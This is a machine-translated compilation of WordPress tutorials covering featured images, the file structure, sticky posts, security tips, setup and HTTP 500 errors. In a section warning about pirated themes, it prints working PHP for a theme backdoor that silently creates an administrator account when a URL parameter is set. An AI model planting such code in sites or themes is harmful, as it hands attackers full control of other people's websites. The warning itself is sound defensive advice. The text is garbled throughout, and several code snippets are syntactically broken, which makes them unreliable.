add_theme_support (‘post-thumbnails’);
set_post_thumbnail_size (130, 100, true); // image width and height
Which the length of the picture can be modified.
Step 2, add the featured image call code
Add the following code to the appropriate location of the theme template, such as the archive archive archive.php:
<? php
if (has_post_thumbnail ()) {
// Show featured images
the_post_thumbnail ();
} else {
// Set the featured image
$ attachments = get_posts (array (
‘post_type’ => ‘attachment’,
‘post_mime_type’ => ‘image’,
‘posts_per_page’ => 0,
‘post_parent’ => $ post-> ID,
‘order’ => ‘ASC’
));
if ($ attachments) {
foreach ($ attachments as $ attachment) {
set_post_thumbnail ($ post-> ID, $ attachment-> ID);
break
}
// Show featured images
the_post_thumbnail ();
}
}
The code states that if the feature image is not set manually, the “thumbnail” of the first picture attachment will be automatically called as the featured image and displayed.
Note: The WP function used in the code:
has_post_thumbnail ()
set_post_thumbnail ()
the_post_thumbnail ()
You can go to the official Codex to view detailed instructions and modify them as needed.
Calling a display feature image You can also use another method:
If you think that adding a feature image call code to the subject template main loop will look messy, you can add the following code to the theme functions.php file:
// featured images
add_filter (‘the_content’, ‘set_featured_image_from_attachment’);
function set_featured_image_from_attachment ($ content) {
global $ post;
if (has_post_thumbnail ()) {
// Show featured images
$ content = the_post_thumbnail (). $ content;
} else {
// Get and set the featured image
$ attachments = get_children (array (
‘post_parent’ => $ post-> ID,
‘post_status’ => ‘inherit’,
‘post_type’ => ‘attachment’,
‘post_mime_type’ => ‘image’,
‘order’ => ‘ASC’,
‘orderby’ => ‘menu_order’
));
if ($ attachments) {
foreach ($ attachments as $ attachment) {
set_post_thumbnail ($ post-> ID, $ attachment-> ID);
break
}
// Show featured images
$ content = the_post_thumbnail (). $ content;
}
}
return $ content;
}
The code is basically the same as above, except that the_content () is filtered using get_children instead of get_posts ().

WordPress directory file structure

Root directory
| -wp-admin
| | -css
| | -images
| | -includes
| -js
| | -maint
| -network
| | -user
| -wp-content
| | -languages
| | -plugins
| | -themes
| | -upgrade
| -wp-includes
| | -certificates
| | -css
| | -fonts
| | -ID3
| | -images
| -js
| – pomo
| -SimplePie
| -Text
| -theme-compat
**********
Root directory
**********
1.index.php: wordpress core index file, that is, the blog output file.
2.license.txt: WordPress GPL license file.
3.my-hacks.php: Defines the appending process that was processed before the blog was output. The default installation does not have this file, but if it exists, it will be referenced by the admin page.
4.readme.html: WordPress Installation Introduction.
5.wp-atom.php: Outputs the Atom information aggregated content.
6.wp-blog-header.php: According to the blog parameters to define the blog page display content.
7.wp-cron.php
8.wp-comments-post.php: Receive comments and add them to the database.
9.wp-commentsrss2.php: RSS2 information aggregated content used to generate log comments.
10.wp-config-sample.php: An example configuration file that connects WordPress to a MySQL database.
11.wp-config.php: This is really the WordPress connection to the MySQL database configuration file. The default installation does not include it, but since WordPress runs requires this file, the user needs to edit the file to change the settings.
12.wp-feed.php: Defines the feed type according to the request and returns the feed request file.
13.wp-links-opml.php: Generates a list of OPML-formatted links (added via the WordPress Administration menu).
14.wp-login.php: Defines the login page for registered users.
15.wp-mail.php: used to get through the mail submitted by the blog. The URL of this file is usually added to the cron task, so cron will periodically retrieve the file and receive the mail log.
16.wp-pass.php: Review password protected by password and display protected article.
17.wp-rdf.php: Generates RDF information aggregated content.
18.wp-register.php: Allows new users to register user names via online forms.
19.wp-rss.php: Generates RSS feed aggregated content.
20.wp-rss2.php: Generates RSS2 information aggregated content.
21.wp-settings.php: Run the routine before execution, including checking whether the installation is correct, using helper functions, applying user plugins, initializing timers, and so on.
22.wp-trackback.php: Handles trackback requests.
23.wp.php: A simple template that displays a blog post. And nothing magical, but included part of the index.php content.
24.xmlrpc.php: Handles xmlrpc requests. Users do not need to use the built-in network management interface to publish articles.
**********
wp-admin
**********
1.wp-admin / admin.php: Manage the core files of the file. Used to connect to the database, the integration of dynamic menu data, display non-core control pages.
2.wp-admin / admin-db.php
3.wp-admin / admin-footer.php: Defines the footer for all administrative consoles.
4.wp-admin / admin-functions.php: defines a variety of functions used by the Administration Console.
5.wp-admin / admin- header.php: Defines the top half of the admin console, including the menu-header.php file for menu logic.
6.wp-admin / bookmarklet.php: Defines the pop-up page when using the bookmark function. Write the log using the default edit-form.php file.
7.wp-admin / categories.php: Defines the category management of the management page. Reference: Manage – Categories
8.wp-admin / cat-js.php
9.wp-admin / edit.php: Defines the log management of the management page. Reference: Manage – Posts
10.wp-admin / edit-comments.php: Defines the management of the comment management page. Reference: Manage – Comments
11.wp-admin / edit-form-advanced.php: Defines the management of the administrative pages of the advanced management of the form, including post.php. Reference: Write – Write Post – Advanced
12.wp-admin / edit-form.php: Defines the log of the managed pages Simple edit form management, including post.php. Reference: Write – Write Post
13.wp-admin / edit-form-comment.php: Edit specific log comments.
14.wp-admin / edit-form-ajax-cat.php
15.wp-admin / edit-link-form.php
16.wp-admin / edit-page-form.php: Defines the page editing of the management module pages, including post.php and page-new.php. Reference: Write – Write Page
17.wp-admin / edit-pages.php: Defines the page management for the management module pages. Reference: Manage – Pages
18.wp-admin / execute-pings.php
19.wp-admin / import.php
20.wp-admin / index.php: default management page. Display the corresponding page according to the user request.
21.wp-admin / inline-uploading.php
22.wp-admin / install-helper.php: Defines the database maintenance functions, including popular-in-plugins maybe_create_table () and maybe_add_column ().
23.wp-admin / install.php: Install WordPress.
24.wp-admin / link-add.php: link to add. Reference: Links – Add Link
25.wp-admin / link-categories.php: link classification management. Reference: Links – Link Categories
26.wp-admin / link-import.php: import link. Reference: Links – Import Links
27.wp-admin / link-manager.php: link management. Reference: Links – Manage Links
28.wp-admin / link-parse-opml.ph: Used to parse OPML files when importing links.
29.wp-admin / list-manipulation.js
30.wp-admin / list-manipulation.php
31.wp-admin / menu-header.php: Used to display the menu in the admin interface.
32.wp-admin / menu.php: Defines the default administrative menu structure.
33.wp-admin / moderation.php: defines the comment review function.
34.wp-admin / options.php: used to change all settings after the upgrade.
35.wp-admin / options-discussion.php: Manage comments and trackback related options. Reference: Options – Discussion
36.wp-admin / options-general.php: Manage basic configuration options. Reference: Options – General
37.wp-admin / options-head.php
38.wp-admin / options-misc.php: set the file upload, link tracking, custom “hacks” and other related options. Reference: Options – Miscellaneous
39.wp-admin / options-permalink.php: Manage permanent link options. Reference: Options – Permalinks
40.wp-admin / options-reading.php: Sets how the site information is sent to the reader’s browser or other application. Reference: Options – Reading
41.wp-admin / options-writing.php: Manage log compose interface. Reference: Writing – Writing
42.wp-admin / page-new.php: Create a new page.
43.wp-admin / plugin-editor.php: Edit the plug-in file.
44.wp-admin / plugins.php: Manage plugins.
45.wp-admin / post.php: Create a new log.
46.wp-admin / profile-update.php
47.wp-admin / profile.php: Manage your profile or configuration.
48.wp-admin / setup-config.php: used to create the wp-config.php file.
49.wp-admin / sidebar.php
50.wp-admin / templates.php: Edit the server writable file.
51.wp-admin / theme-editor.php: Edit files in a specific topic.
52.wp-admin / themes.php: Manage topics.
53.wp-admin / update-links.php
54.wp-admin / upgrade-functions.php: defines the version upgrade function.
55.wp-admin / upgrade-schema.php: Defines the default table structure and options used in the upgrade.
56.wp-admin / upgrade.php: version upgrade.
57.wp-admin / user-edit.php: Edit the user.
58.wp-admin / users.php: Manage users.
59.wp-admin / wp-admin.css: Defines the default style sheet for the Administration Console.
60.wp-admin / xfn.js
**********
wp-includes
**********
wp-includes directory
1.wp-includes / cache.php
2.wp-includes / capabilities.php
3.wp-includes / class-IXR.php: Incutio XML-RPC library. Including XML RPC support functions. Powered by http://scripts.incutio.com/xmlrpc/.
4.wp-includes / classes.php: includes the basic class, such as the core article extraction mechanism WP_Query and rewrite the management WP_Rewrite.
5.wp-includes / class-pop3.php: Includes classes that support the use of POP mailboxes. Available for wp-mail.php.
6.wp-includes / class-snoopy.php: Snoopy is a PHP class that is used to mimic the functionality of a Web browser that automatically completes the task of retrieving web pages and sending forms.
7.wp-includes / comment-functions.php
8.wp-includes / default-filters.php
9.wp-includes / feed-functions.php
10.wp-includes / functions-compat.php: the new version of PHP used to support the old version of the PHP function file.
11.wp-includes / functions-formatting.php: Used to clean up XHTML and format text correctly with a specific character set.
12.wp-includes / functions-post.php: Defines functions such as managing logs in the database, querying user rights, extracting and writing comments.

13.wp-includes / functions.php: contains many important support functions, it is WordPress the largest file, the function is almost twice the number of the second largest file.
14.wp-includes / gettext.php: PHP-gettext GPL translator library component.
15.wp-includes / kses.php: used to render and filter the HTML in the log or comment.
16.wp-includes / links.php: used to manage and use the WordPress link function.
17.wp-includes / locale.php: used to replace the default week and month values.
18.wp-includes / pluggable-functions.php
19.wp-includes / registration-functions.php
20.wp-includes / rss-functions.php
21.wp-includes / streams.php: defines the class of wrapper files and character streams.
22.wp-includes / template-functions-author.php: Contains topic functions related to the author or commenter of the log.
23.wp-includes / template-functions-category.php: Contains category-related topic functions.
24.wp-includes / template-functions-comment.php: Contains topic functions related to comments.
25.wp-includes / template-functions-general.php: Contains regular theme functions.
26.wp-includes / template-functions-links.php: Contains the topic-related functions associated with the link.
27.wp-includes / template-functions-post.php: Contains the topic related to the log function.
28.wp-includes / template-functions.php: Contains all of the above “template-” files.
29.wp-includes / template-loader.php
30.wp-includes / vars.php: used to set miscellaneous variables.
31.wp-includes / version.php: used to set the current version of WordPress.
32.wp-includes / wp-db.php: Contains the function used to connect to the MySQL database.
33.wp-includes / wp-l10n.php: Provides functions that support multilingual versions.

Be careful! Pirate theme may have a back door

WordPress In addition to a large number of official themes, there are a large number of theme designers to publish free and charge topics, many children’s shoes often collect the theme to get back to use the test, some of which will be collected by foreign experts to fill the theme of commercial changes, add Dark chain, advertising, and even malicious code, and then free or paid public release, to induce others to download and use, to achieve ulterior motives. In addition, these commercial charges are generally the subject of the test version, the subject code is not perfect, the function is missing, individual test version of the commercial theme is enabled after the database will automatically write a lot of data …….

The following code is more evil and can automatically add a role for the admin user.

  1. add_action(‘wp_head’, ‘holeinthewall’);
  2. function holeinthewall() {
  3.         If ($_GET[‘backdoor’] == ‘go’) {
  4. require(‘wp-includes/registration.php’);
  5.                 If (!username_exists(‘username’)) {
  6. $user_id = wp_create_user(‘username’, ‘password’);
  7. $user = new WP_User($user_id);
  8. $user->set_role(‘administrator’);
  9.                 }
  10.         }
  11. }

Add the code to your current theme functions.php file or plugin, will automatically create a user name: username password: password administrator who have the authority, then want to do anything.

So, here advise you still do not use their own site pirated themes and plug-ins, as far as possible to the official or original publishing site to download the theme, so as not to be opened the back door is not known!

WordPress calls the sticker article code

Today, when doing wordpress theme, just to use the call of the top articles. Here to share with you WordPress how to add the top articles.

 

Add a sticker article:

1, we can see the current editor of the article on the right side of a public degree: release editor, click on the editor, check the “Zhiding this article to the home page”, then open the blog you can see the top of the state.

2, when the article was released, then we can click the blog background menu menu under the “Edit” option, enter the article list, the mouse moved to the need to stick the article, under the title of the article will show “edit”, “fast Edit “,” Delete “,” View “four options, click the” Quick Edit “option

3, in the quick editing, you can edit the title, label, alias, classification and other operations, at the same time here can also be the top of the operation of the article, in the “keep this article Zhiding” in front of the small box tick, and then click to update the article , Then the article on the blog home to keep the top state.

4, update the article, open the blog home page will find the state of the top of the article

 

Call WordPress Top Articles List:

In the need to call WordPress Zhiding articles directly add the following code:

  1. <?php
  2. $sticky = get_option(‘sticky_posts’);
  3. rsort( $sticky );
  4. $sticky = array_slice$sticky, 0, 5);
  5. query_posts( array( ‘post__in’ => $sticky, ‘caller_get_posts’ => 1 ) );
  6. if (have_posts()) :
  7. while (have_posts()) : the_post();
  8. ?>
  9. here is the content want to show
  10. <?php endwhileendif; ?>

 

Please modify the required place according to the actual code. When there is no sticked article, the latest five articles.

Top 10 WordPress security settings tips

WordPress is currently used in the world of a wide range of blog software, more vulnerable to various attacks, so WordPress security is also very important, there are 10 security tips below that can help you easily solve WordPress security issues so that you are in WordPress Safety to go more detours.

1, upgrade WordPress to the latest version

In general, the new version of WordPress security will be better than the old version, and solve the known various security issues, especially when a major version of the upgrade, the new version may solve more critical issues The (For example, older versions of WordPress have remv.php major vulnerabilities that could lead to DDoS attacks and upgrade to the latest version to fix this problem)

 

2, hidden version of WordPress

Edit your header.php template, which will be on the version of WordPress information are deleted, so that hackers can not see through the source code control that your WordPress has not upgraded to the latest version.

 

3. Change the WordPress username

Every hacker knows that WordPress’s admin user is admin, has administrator privileges, will attack this user, then you need to create a new user, set it as administrator privileges, and then delete the old admin account, which can be avoided Hackers guess the administrator’s username.

 

4, change the WordPress user password

After installing WordPress, the system will send a random password to your mailbox, modify the password, because the length of the password is only 6 characters, you want to change the password to 10 characters above the complex password, and try to use letters, numbers , The symbol is mixed with the password.

 

5, to prevent the WordPress directory display

WordPress will install the plugin by default to the / wp-content / plugins / directory. Normally, browsing this directory directly will list all installed plugin names, which is bad because hackers can exploit vulnerabilities in known plugins so that they can Create an empty index.html file into this directory, of course, modify the Apache .htaccess file can also play the same role.

 

6, protect the wp-admin folder

You can protect the WordPress administrator folder by restricting the IP address, and all other IP address accesses the information that is forbidden to access, but you can only manage blogs from one or two places. In addition, you need to put a new .htaccess file to the wp-admin directory, to prevent the root directory. Htaccess file is replaced.

 

7, for the protection of search engines

Many WordPress system files do not need to be indexed by the search engine, so modify your robots.txt file to add a line to Disallow: / wp- *

 

8, install the Login Lockdown plugin

This plug-in can record the failed login attempt IP address and time, if the IP address from a failure to log in more than a certain condition, then the system will prohibit this IP address to continue to try to log on.

9, WordPress database security

The data table is best not to use the default wp_ at the beginning, the installation of the database backup plug-in, no matter how much protection, you should regularly back up your database, the use of WordPress Database Backup plug-ins can achieve regular backup database.

 

10, install WordPress Security Scan plugin

This plugin will automatically follow the above security recommendations for your WordPress scan, find the existence of the problem, the use of more simple.

Novice advanced: how to use WordPress?

If you are the first contact with WordPress and I do not know where to start, beard hope to help you! There is an extremely simple introductory guide to help you get started with WordPress. Keep in mind that if you need more help, you can get help in a variety of ways in this document. Welcome to the WordPress family!
First of all, we have some preparation to do:
1. Check the website server is compatible with the new version of WordPress
Version 2.9 WordPress Server Requirements:

  • PHP 4.3 or later
  • MySQL 4.1.2 or later
  • (Optional) Apache mod_rewrite module (used as a plain link Permalinks we know)

Version 2.5, 2.6, 2.7, 2.8 WordPress Server Requirements:

  • PHP 4.3 or later
  • MySQL 4.0 or later
  • (Optional) Apache mod_rewrite module (used as a plain link Permalinks we know)

2. On the server MySQL database to add a new database, get the database user name, database name, database password

3. Develop a plan about how you plan to use WordPress on your website

  • Do you plan to install WordPress into the site root directory, subdirectory, or do you just want to make a test site to make sure you want to use WordPress?
  • Did you make a list of your website categories? You can only know that WordPress can only sort by category name and ID alphabetical order (can be managed by background menu> sorting items), so if your classification Categories are important to you, start making your Categories Categories List.
  • Did you make a list of the zh-cn: page you want to add to your site? For example, About , Contact, Event

Install WordPress

1. To WordPress official website to download a WordPress program, you can choose the English or Chinese version.
WordPress English version of WordPress Chinese version
2. Extract the downloaded WordPress.zip file, copy all the files to the root directory of the site (or use FTP to the site)
3. In the browser, enter your own domain name, automatically prompted to start the installation. Point “next step” as required to enter the database name, user, password, follow the prompts to complete the installation.
4. Installation is complete, remember the system generated by the random password, login background change this hard to remember the password.

Get started with WordPress

After the installation is complete, you should set up WordPress so that it works in the way you want. When you change the settings, it is recommended that you see how these changes affect your site by clicking the View Site link at the top of the Admin option. You may choose to do the following steps in any order, but if you follow the steps below, it will be easier to configure your site:

Manage your blog

  • User> your user profile – set the user information you want to post on your site
  • Your user profile> author and user – add the author and user who will use your site if applicable
  • Settings> General – Set your site name and other information
  • Settings> Write – set your options for writing articles
  • Settings> read – set the number of articles to display on the home page, the catalog and your feed
  • Settings> Comments – enable or disable commenting and how to handle them
  • Articles> Categories – Add some new categories to your original category list
  • Articles> Editors – When you have finished writing some of the articles, it will be where you can manage them by editing and deleting them
  • Appearance> theme – change the appearance of your site?
  • Settings> Page – Add a new [[en: page | page]], or two pages like “About me” or “Contact me”
  • Article> add a new article – start adding content to your site
  • Write an article – step by step to write an article

HTTP 500 error with WordPress

HTTP 500 error is a very common internal server error, there are many such errors, here only in WordPress inside the more common HTTP 500 error.
We use the WordPress plug-in when they will encounter such a problem, because the plug-in version and we use WordPress conflict, solve this problem as long as the plug-in can be disabled.
We will be in the upgrade WordPress time will encounter such a situation, when you put the new version of WordPress program files uploaded to the server to overwrite the original old WordPress program files (or you will be the old version of WordPress database into the new version of WordPress database) You will visit the site will appear HTTP 500 error, the website can not visit how to do? There are two main cases of such errors:
1. The PHP program in your topic is not compatible with the new version of the WordPress program. To resolve this error, you first need to use the FTP tool to rename the topic you are using on your site before attempting to visit the site.
2. is due to a plug-in and the new version of the WordPress program is not compatible, to solve this error as long as the FTP tool to delete all the plugins on the site, and then log on the site to try to install a plug-in, find the problem plug-in.